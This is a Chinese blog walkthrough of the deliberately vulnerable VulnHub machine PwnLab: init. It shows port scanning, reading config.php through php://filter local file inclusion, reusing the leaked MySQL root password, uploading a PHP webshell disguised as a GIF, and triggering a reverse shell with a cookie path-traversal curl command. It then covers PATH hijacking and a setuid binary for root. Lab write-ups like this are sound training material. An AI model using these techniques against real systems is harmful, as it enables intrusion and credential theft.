VulnHub-PwnLab: init 靶场渗透测试

时间:2021.3.2

靶场信息:
地址:https://www.vulnhub.com/entry/pwnlab-init,158/
发布日期:2016年8月1日
目标:得到root权限&找到flag.txt

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210302203453352

由探测结果可知,靶机的IP为192.168.137.146

2、扫描开放的端口和服务

nmap -sS -sV -T5 -p- 192.168.137.146

image-20210302203610826

得到开放的端口信息:

80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
45123/tcp open  status  1 (RPC #100024)

3、网站信息收集

先用nikto对网站进行安全扫描

image-20210302204544328

config.php可能包含数据库信息或密码,我们先访问web服务器看看

image-20210302203922599

点击login,发现是个登录界面

image-20210302204909955

并且还可以点击upload,两处的链接有相似之处

http://192.168.137.146/?page=login
http://192.168.137.146/?page=upload

page后面很有可能就是包含进来的文件名,所以猜测这里可能存在本地文件包含漏洞LFI,那么就可以利用伪协议读取服务器上的文件

二、漏洞探测

这里我们常用的是php://filter,那么我们就用它来读取config.php中的内容

image-20210302205908931

我们将页面上输出的base64密文保存到文件中,然后base64解密得到config.php中的有关数据库的配置信息

image-20210302210127188

$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

有了root用户的密码之后,我们尝试远程登录mysql

mysql -u root -pH4u%QJ_H99 -h 192.168.137.146

image-20210302210437033

登录成功后,我们接着查看表信息,发现在uers表中有三条用户信息

image-20210302210620859

+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+

密码是base64加密过的,我们解密得到JWzXuBJJNy,然后用该账号进行登录,登录成功后,发现可以上传文件

image-20210302210952254

先上传一个php木马进去,发现上传失败,提示只能上传图片

image-20210302211551741

将php文件修改为.php.gif再次上传,上传成功后,我们查看源代码发现了gif的上传位置

image-20210302211705226

然后我们需要触发gif,才能反弹shell,先用dirb爆破一下目录,看看还有什么遗漏的

image-20210302212032863

其他的没啥可以读的了,那就读取一下首页看看

http://192.168.137.146/index.php?page=php://filter/convert.base64-encode/resource=index

同理,解密之后得到

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>                  

三、漏洞利用

由代码可以看到,在前面它还会有个if判断,判断是否携带有name为lang的cookie,有的话就会包含进来,那么我们这里可以构造cookie,让它包含我们上传的gif,并将其当做php文件执行,这里可以使用curl命令,携带cookie去访问

curl -v --cookie "lang=../upload/450619c0f9b99fca3f46d28787bc55c5.gif" http://192.168.137.146/index.php

image-20210302213041103

由于我之前的php木马中写的端口号是6666,所以这里还要在本地监听一下6666号端口,发现反弹shell成功

image-20210302213206085

我们之前还获得过三个用户的账号信息,我们尝试su切换用户试一试

image-20210302213733564

kent | JWzXuBJJNy
mike | SIfdsTEn6I
kane | iSv5Ym2GRo

mike不能成功切换,再试了试kane,还好这个可以切换

image-20210302214037521

执行msgmike文件,发现输出为No such file or directory,应该是cat了一个不存在的文件,那么我们可以从这个cat入手,可以先在/tmp目录下创建一个运行bash程序的cat文件,并将其添加到系统的环境变量中的首部,那么在调用cat时,系统就会优先/tmp目录下的二进制文件,从而执行shell

image-20210302215526646

四、提权

在mike目录发现msg2root文件具备sid权限并且文件拥有者为root,strings看一下函数,发现fgets()函数,它会读取一行,所以后面的命令可以执行

image-20210302220551818

总结

以前做ctf的时候遇到过许多LFI相关的题目,所以前面做的时候还是很顺利的,后面提权那部分一时间没有想到。

posted @ 2021-03-02 22:24  l2sec  阅读(332)  评论(0编辑  收藏  举报